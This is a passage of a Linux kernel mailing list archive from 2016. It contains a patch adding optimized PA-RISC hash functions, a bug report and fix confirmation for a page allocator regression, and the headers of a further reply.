	with SMTP id S1752890AbcEaNl6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 May 2016 09:41:58 -0400
Original-Received: (qmail 879 invoked by uid 1000); 31 May 2016 09:41:56 -0400
In-Reply-To: <20160531132300.21122.qmail@ns.sciencehorizons.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26809
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26809>

PA-RISC is interesting; integer multiplies are implemented in
the FPU, so are painful in the kernel.  But it tries to be
friendly to shift-and-add sequences.

__hash_32 is implemented using the same shift-and-add sequence as
Microblaze, just scheduled for the PA7100.  (It's 2-way superscalar
but in-order, like the Pentium.)

hash_64 was tricky.  My tools can't find good shift-and-add sequence
for the large multiplier, but the multiplier can be factored and two
sequences for smaller multipliers cascaded.

An alternative implementation is included, but not enabled by default:
Thomas Wang's 64-to-32-bit hash.  This is more compact than the multiply,
but has the same length dependency chain.

Signed-off-by: George Spelvin <linux@sciencehorizons.net>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
Definitely an interesting architecture.  How did I do?
This should pass the self-test in test_hash.ko.

 arch/parisc/Kconfig            |   1 +
 arch/parisc/include/asm/hash.h | 164 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 165 insertions(+)
 create mode 100644 arch/parisc/include/asm/hash.h

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 88cfaa8..8ed2a44 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -30,6 +30,7 @@ config PARISC
 	select TTY # Needed for pdc_cons.c
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
+	select HAVE_ARCH_HASH
 	select HAVE_ARCH_SECCOMP_FILTER
 	select ARCH_NO_COHERENT_DMA_MMAP
 
diff --git a/arch/parisc/include/asm/hash.h b/arch/parisc/include/asm/hash.h
new file mode 100644
index 0000000..e28462c
--- /dev/null
+++ b/arch/parisc/include/asm/hash.h
@@ -0,0 +1,164 @@
+#ifndef _ASM_HASH_H
+#define _ASM_HASH_H
+
+/*
+ * HP-PA only implements integer multiply in the FPU.  However, for
+ * integer multiplies by constant, it has a number of shift-and-add
+ * (but no shift-and-subtract, sigh!) instructions that a compiler
+ * can synthesize a code sequence with.
+ *
+ * Unfortunately, GCC isn't very efficient at using them.  For example
+ * it uses three instructions for "x *= 21" when only two are needed.
+ * But we can find a sequence manually.
+ */
+
+#define HAVE_ARCH__HASH_32 1
+
+/*
+ * This is a multiply by GOLDEN_RATIO_32 = 0x61C88647 optimized for the
+ * PA7100 pairing rules.  This is an in-order 2-way superscalar processor.
+ * Only one instruction in a pair may be a shift (by more than 3 bits),
+ * but other than that, simple ALU ops (including shift-and-add by up
+ * to 3 bits) may be paired arbitrarily.
+ *
+ * PA8xxx processors are out of order and don't need such careful
+ * scheduling.
+ *
+ * This 6-step sequence was found by Yevgen Voronenko's implementation
+ * of the Hcub algorithm at http://spiral.ece.cmu.edu/mcm/gen.html.
+ */
+static inline u32 __attribute_const__ __hash_32(u32 x)
+{
+	u32 a, b, c;
+
+	/*
+	 * Phase 1: Compute  a = (x << 19) + x,
+	 * b = (x << 9) + a, c = (x << 23) + b.
+	 */
+	a = x << 19;		/* Two shifts can't be paired */
+	b = x << 9;	a += x;
+	c = x << 23;	b += a;
+			c += b;
+	/* Phase 2: Return (b<<11) + (c<<6) + (a<<3) - c */
+	b <<= 11;
+	a += c << 3;	b -= c;
+	return (a << 3) + b;
+}
+
+#if BITS_PER_LONG == 64
+
+#define HAVE_ARCH_HASH_64 1
+
+#if HAVE_ARCH_HASH_64 == 1
+/*
+ * Multiply by GOLDEN_RATIO_64.  This number factors as:
+ *   0x0x61C8864680B583EB
+ * = 7046029254386353131
+ * = 3 * 3 * 53 * 2237 * 22739 * 290394721
+ * = 9 * 2695958579 * 290394721
+ * = 2695958579 * 2613552489
+ *
+ * While the Hcub software crashes on numbers too close to 64 bits,
+ * and finds crappy solutions for numbers much more than 32 bits, it
+ * can find decent sequences for those two values.  So cascade the two.
+ *
+ * Here's an alternative sequence for step 2, based on
+ * a 6-shift 6-add sequence for 290394721 (sign-flipped so the one
+ * small shift is in an add) followed by a multiply by 9:
+ *	a = x - (x << 7);
+ *	b = (a << 16) + a - (x << 20);
+ *	c = (x << 3) + b;
+ *	x = (a << 10) - (c << 5) + b;
+ *	x *= 9;
+ * ... however, it's not clear which is better.
+ *
+ * The asm("" : "=r" () : "0" (...)) statements are simply assignment
+ * statments, but they stop GCC from doing stupid things.
+ * Any time GCC sees two consecutive shifts, it insists on trying to
+ * merge them, even at the expense of another temporary and going out
+ * of short shift range.
+ * Likewise, it tries to combine adds and subtracts without considering
+ * that PA has shift-and-add but not shift-and-subtract.  So "x = -x;
+ * a = (a << 1) + x" is the same two instructions as "a <<= 1; a -= x",
+ * but the latter is a 2-cycle dependency chain on a, while the former
+ * is only one.
+ */
+static __always_inline u32 __attribute_const__
+hash_64(u64 x, unsigned int bits)
+{
+	u64 a, b, c;
+
+	/* Step 1: Multiply by 2695958579 */
+	/* 6 shifts + 6 adds, one is small enough for shladd */
+	/* 6 cycle dependency chain */
+	a = (x << 20) + x;
+	b = x << 29;
+	a += (x << 4);
+	x <<= 11;
+	b = a - b;
+	a += x;
+	b *= 3;
+	x = (a << 12) + b;
+
+	/* Step 2: Multiply by 2613552489 */
+	/* 7 shift + 7 adds, three are small enough for shladd */
+	/* 6 cycle dependency chain (via a) */
+	a = (x << 19) + x;
+	asm("" : "=r" (c) : "0" (x << 9));
+	asm("" : "=r" (b) : "0" (a + (c << 3)));
+	asm("" : "=r" (x) : "0" (-x));
+	asm("" : "=r" (a) : "0" (a << 7));
+	b = a - b;
+	a = (a << 1) + x;
+	c -= b;
+	a = (a << 1) + b;
+	x = (a << 3) + c;
+
+	return x >> (64 - bits);
+}
+#else /* HAVE_ARCH_HASH_64 != 1 */
+/*
+ * If we don't care about matching the generic function, here's an
+ * alternative hash function; Thomas Wang's 64-to-32 bit hash function.
+ * https://web.archive.org/web/2011/http://www.concentric.net/~Ttwang/tech/inthash.htm
+ * http://burtleburtle.net/bob/hash/integer.html
+ *
+ * This algorithm concentrates the entropy in the low bits of the output,
+ * so they are returned.
+ *
+ * The code is smaller than the multiply, but each instruction (there
+ * are usually 2 per line) is sequentially dependent, so it's also a
+ * 12-cycle dependency chain.
+ */
+static __always_inline u32 __attribute_const__
+hash_64(u64 x, unsigned int bits)
+{
+	u64 y;
+
+	if (!__builtin_constant_p(bits))
+		asm("mtsarcm %1" : "=q" (bits) : "r" (bits));
+
+	x = ~x + (x << 18);
+	x ^= x >> 31;
+	y = x * 5;	/* GCC uses 3 instructions for "x *= 21" */
+	x += y << 2;
+	x ^= x >> 11;
+	x += x << 6;
+	x ^= x >> 22;
+
+	if (__builtin_constant_p(bits)) {
+		x = x >> (64 - bits) << (64 - bits);
+	} else {
+		asm("depdi,z 0x1F,%%sar,63,%0" : "=r" (y) : "q" (bits));
+		x &= ~y;
+	}
+
+	return x;
+}
+
+#endif /* HAVE_ARCH_HASH_64 */
+#endif /* BITS_PER_LONG == 64 */
+
+#endif /* _ASM_HASH_H */
+
+
-- 
2.8.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: The patch "mm, page_alloc: avoid looking up the first zone in a
 zonelist twice" breaks memory management
Date: Tue, 31 May 2016 17:20:45 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1605311706040.16635@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1464729663 26539 80.91.229.3 (31 May 2016 21:21:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 May 2016 21:21:03 +0000 (UTC)
Cc: Vlastimil Babka <vbabka@suse.cz>,
        Jesper Dangaard Brouer <brouer@redhat.com>,
        Andrew Morton <akpm@linux-foundation.org>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        Helge Deller <deller@gmx.de>
To: Mel Gorman <mgorman@techsingularity.net>
Original-X-From: owner-linux-mm@kvack.org Tue May 31 23:20:53 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1b7r5n-00081l-B0
	for glkm-linux-mm-2@m.gmane.org; Tue, 31 May 2016 23:20:51 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 028076B0260; Tue, 31 May 2016 17:20:50 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id EF3DA6B025F; Tue, 31 May 2016 17:20:49 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DE29E6B0260; Tue, 31 May 2016 17:20:49 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-vk0-f71.google.com (mail-vk0-f71.google.com [209.85.213.71])
	by kanga.kvack.org (Postfix) with ESMTP id AA6096B025E
	for <linux-mm@kvack.org>; Tue, 31 May 2016 17:20:49 -0400 (EDT)
Original-Received: by mail-vk0-f71.google.com with SMTP id f62so769509vkc.0
        for <linux-mm@kvack.org>; Tue, 31 May 2016 14:20:49 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:user-agent:mime-version;
        bh=C+K00X/2aqmAjVMB/vs8/N8qwTvV0QYPL574IwCxMLI=;
        b=EKPpz1z8hBuwJYSn9F0UssQ/lrApwvHvfdRxqBwN5dBWESK+nZGTJfX4PgtDTnJHHN
         epP0AyaJdxFv9+gVJDDS8p8FmIJQZS5jZOs/hJ2J9ItN6KV7hndXegQVCiYvKMDFJxwb
         G3cDwdYktR5qzUkMZ13hPWL1QJIfl4/PYOWQ/4vZx7PHD/bT72WHal+AugfRwlxubRRW
         pyab/ucBgAAWxsTvZtPOTWAS8nAUd8q+b6eKL45EpYS0EDuCdR93ZzGvByCkqGSfapEM
         0fFkokzTFBXD7/PTqz+M+17QBn/aKXFA5CQ0LYNXIJ5pviUToJUCfym04EIjSfqSm/6o
         xlyg==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of mpatocka@redhat.com designates 209.132.183.28 as permitted sender) smtp.mailfrom=mpatocka@redhat.com
X-Gm-Message-State: ALyK8tLpJMuMMncN0oqgPAF8CD5RJw2ZaCRpHHR4lAkDu0a196XWhDOf/xt/NGgUhbhHDuTy7o23BNRbqQjNFoJ/3r7ScQ9vcvgBA4Li8L1K6dahFNa+hUxxRV+UikL4WSAVv5GYg+hGIOFpkfZxi7UD21wNE2VeMrukK4H7H91ylkvtXetfqZeZGE6j
X-Received: by 10.140.136.16 with SMTP id 16mr34877309qhi.25.1464729649357;
        Tue, 31 May 2016 14:20:49 -0700 (PDT)
X-Received: by 10.140.136.16 with SMTP id 16mr34877288qhi.25.1464729648972;
        Tue, 31 May 2016 14:20:48 -0700 (PDT)
Original-Received: from mx1.redhat.com (mx1.redhat.com. [209.132.183.28])
        by mx.google.com with ESMTPS id b67si32445616qke.206.2016.05.31.14.20.48
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 31 May 2016 14:20:48 -0700 (PDT)
Received-SPF: pass (google.com: domain of mpatocka@redhat.com designates 209.132.183.28 as permitted sender) client-ip=209.132.183.28;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of mpatocka@redhat.com designates 209.132.183.28 as permitted sender) smtp.mailfrom=mpatocka@redhat.com
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id CC19D85545;
	Tue, 31 May 2016 21:20:47 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u4VLKk6H014901
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 31 May 2016 17:20:47 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u4VLKkRM019008;
	Tue, 31 May 2016 17:20:46 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u4VLKj0e019004;
	Tue, 31 May 2016 17:20:45 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.28]); Tue, 31 May 2016 21:20:48 +0000 (UTC)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:152352 gmane.linux.kernel:2231717 gmane.linux.ports.parisc:26810
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/152352>

Hi

The patch c33d6c06f60f710f0305ae792773e1c2560e1e51 ("mm, page_alloc: avoid 
looking up the first zone in a zonelist twice") breaks memory management 
on PA-RISC.

The PA-RISC system is not NUMA, but the chipset maps physical memory to 
three distinct ranges, so the kernel sets up three nodes. My machine has 
7GiB RAM and the memory is mapped to these ranges:

 Memory Ranges:
  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
  1) Start 0x0000000100000000 End 0x00000001bfdfffff Size   3070 MB
  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
 Total Memory: 7166 MB
 On node 0 totalpages: 262144
 free_area_init_node: node 0, pgdat 405e44d0, node_mem_map 415ed000
   Normal zone: 3584 pages used for memmap
   Normal zone: 0 pages reserved
   Normal zone: 262144 pages, LIFO batch:31
 On node 1 totalpages: 785920
 free_area_init_node: node 1, pgdat 405e5140, node_mem_map 140000000
   Normal zone: 10745 pages used for memmap
   Normal zone: 0 pages reserved
   Normal zone: 785920 pages, LIFO batch:31
 On node 2 totalpages: 786432
 free_area_init_node: node 2, pgdat 405e5db0, node_mem_map 4080000000
   Normal zone: 10752 pages used for memmap
   Normal zone: 0 pages reserved
   Normal zone: 786432 pages, LIFO batch:31

Prior to the patch c33d6c06f60f710f0305ae792773e1c2560e1e51, the kernel 
could use all 7GiB of RAM as file cache. After this patch, the kernel 
fills the first 1GiB zone with cache and then starts reclaiming the cache 
(or sometimes even swapping) instead of using the remaining two zones as a 
file cache.

The bug can be reproduced by reading 2GiB file and noticing that the 
amount of cached memory stays near 1GiB.

Mikulas

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: The patch "mm, page_alloc: avoid looking up the first zone in a
 zonelist twice" breaks memory management
Date: Tue, 31 May 2016 23:47:51 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <574E0687.5050201@suse.cz>
References: <alpine.LRH.2.02.1605311706040.16635@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1464731513 27979 80.91.229.3 (31 May 2016 21:51:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 May 2016 21:51:53 +0000 (UTC)
Cc: Jesper Dangaard Brouer <brouer@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>
To: Mikulas Patocka <mpatocka@redhat.com>,
	Mel Gorman <mgorman@techsingularity.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 31 23:51:44 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1b7rW4-00050h-1d
	for glk-linux-kernel-3@plane.gmane.org; Tue, 31 May 2016 23:48:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756278AbcEaVrz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 31 May 2016 17:47:55 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:60794 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751375AbcEaVrx (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 31 May 2016 17:47:53 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 3CE12AC3D;
	Tue, 31 May 2016 21:47:52 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.0
In-Reply-To: <alpine.LRH.2.02.1605311706040.16635@file01.intranet.prod.int.rdu2.redhat.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2231738 gmane.linux.kernel.mm:152356 gmane.linux.ports.parisc:26811
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2231738>

On 05/31/2016 11:20 PM, Mikulas Patocka wrote:
> Hi
> 
> The patch c33d6c06f60f710f0305ae792773e1c2560e1e51 ("mm, page_alloc: avoid 
> looking up the first zone in a zonelist twice") breaks memory management 
> on PA-RISC.

Hi,

I think the linked patch should help. Please try and report.

http://marc.info/?i=20160531100848.GR2527%40techsingularity.net

Thanks,
Vlastimil


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: The patch "mm, page_alloc: avoid looking up the first zone in
 a zonelist twice" breaks memory management
Date: Wed, 1 Jun 2016 08:26:47 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1606010817550.6561@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1605311706040.16635@file01.intranet.prod.int.rdu2.redhat.com> <574E0687.5050201@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1464784024 307 80.91.229.3 (1 Jun 2016 12:27:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Jun 2016 12:27:04 +0000 (UTC)
Cc: Mel Gorman <mgorman@techsingularity.net>,
	Jesper Dangaard Brouer <brouer@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 01 14:26:53 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b85Ea-0005to-2c
	for glpp-linux-parisc@plane.gmane.org; Wed, 01 Jun 2016 14:26:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751624AbcFAM0v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Jun 2016 08:26:51 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:35092 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751572AbcFAM0u (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Jun 2016 08:26:50 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id AC778C03BD58;
	Wed,  1 Jun 2016 12:26:49 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u51CQmR6025274
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Wed, 1 Jun 2016 08:26:49 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u51CQmoN030528;
	Wed, 1 Jun 2016 08:26:48 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u51CQlT8030524;
	Wed, 1 Jun 2016 08:26:47 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <574E0687.5050201@suse.cz>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.31]); Wed, 01 Jun 2016 12:26:50 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26812 gmane.linux.kernel.mm:152403 gmane.linux.kernel:2232260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26812>



On Tue, 31 May 2016, Vlastimil Babka wrote:

> On 05/31/2016 11:20 PM, Mikulas Patocka wrote:
> > Hi
> > 
> > The patch c33d6c06f60f710f0305ae792773e1c2560e1e51 ("mm, page_alloc: avoid 
> > looking up the first zone in a zonelist twice") breaks memory management 
> > on PA-RISC.
> 
> Hi,
> 
> I think the linked patch should help. Please try and report.
> 
> http://marc.info/?i=20160531100848.GR2527%40techsingularity.net
> 
> Thanks,
> Vlastimil

Thanks, that patch fixes it.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: invalid printk time during boot on PA-RISC
Date: Wed, 1 Jun 2016 23:12:48 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <20160601211248.GA15061@p100.box>
References: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464815596 11082 80.91.229.3 (1 Jun 2016 21:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Jun 2016 21:13:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 01 23:13:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8DRl-0007bS-P1
	for glpp-linux-parisc@plane.gmane.org; Wed, 01 Jun 2016 23:13:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751423AbcFAVNA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Jun 2016 17:13:00 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54912 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751412AbcFAVM7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Jun 2016 17:12:59 -0400
Original-Received: from p100.box ([92.203.1.217]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MhQju-1auPeD0Ur4-00Met5; Wed, 01 Jun 2016 23:12:51
 +0200
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:MSWBngI9THLhWVPZCp8CfeqqQaplw3SWb/BkvyLjYo0KduwiKvE
 gnr6ySMTlbwvopeDM4al25VGcy8Sy7DHE8VPO/+a9dQ7VEBgnTRu/OhZMIA2cAcqJcaTScv
 vpWO2eUF8cMccSTYDAhBxYenZspvQujxg+/6oDQQYO1e+de2bSSicn6mWe93jQyraaZb4PO
 WZwOLLaqmsTxcM7TLX7vA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:aQDHvP0zY98=:4bwxEiLvoMZPslGDFZ867M
 6absUW+F1QSPkHRsStufNJKPlXG1e5JcffhfNauoq6umW+ys5N/uADqKMxK8+OZ8zKAq1KE5W
 n6y9XUWb1kwd85btRbsTTgt66ozODgXOJNjavPl86tvOskfNIvpbH/DVlLwm6U1TiVUs9jOZ1
 nwgwy/SCNOsyIHllStJ2/u+7D06QPId5p1wb1y88kT8uXv/trE7tjkVN4Kd5elurSa0Loh70Y
 h6rutxlOrjDtBikkpNNAsI8uXvBBi79z2aiyPXjWDTPMCKY06pUxYm3zGCsXfYChGW7urofVQ
 lo4yoNSLsWdySTPP6SZnOTYHNHjh6yZNpknZODGAaa25HEGm9uTp3tVgxYHSKgB77PqsxmT5R
 6TFeyE/Oty3jymnjpp/et3CMfDXTIhFK674PE1EAtJNNLvm14ZA4AXo8vUccrWqtXyhepp0Cw
 9PbNqXyGjSBdD0IIsFpWhv2rpwRSu5KeXDjHHDOHNdfdF+eZixLy2eGWIDQe5QRsLAW39MXDK
 zQyPbdQdfs8/uwgQxK8xdskzvsLUCKbmMxyopjlxVB5tjpIfP6JvXrnf21DK8/FYLl589PP4y
 EgGyfbWJqjKU4mE7+vJBwGl0OIZvZBXfAU7IM//GsULUizBGGM78PqR49LlU6EpAdSC6U7duM
 3NI2FYBWkAmOc5o511tX/8rvqpgA7OTdsoK4DoxIii/oJhzG6E3mu31lUeQDRc9v6Vs1m+lek
 adYmwJmggwZ//HpxzRrseptVyYfu5KevZuFrkAeh6X8O0lLN3kalulKcK6c=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
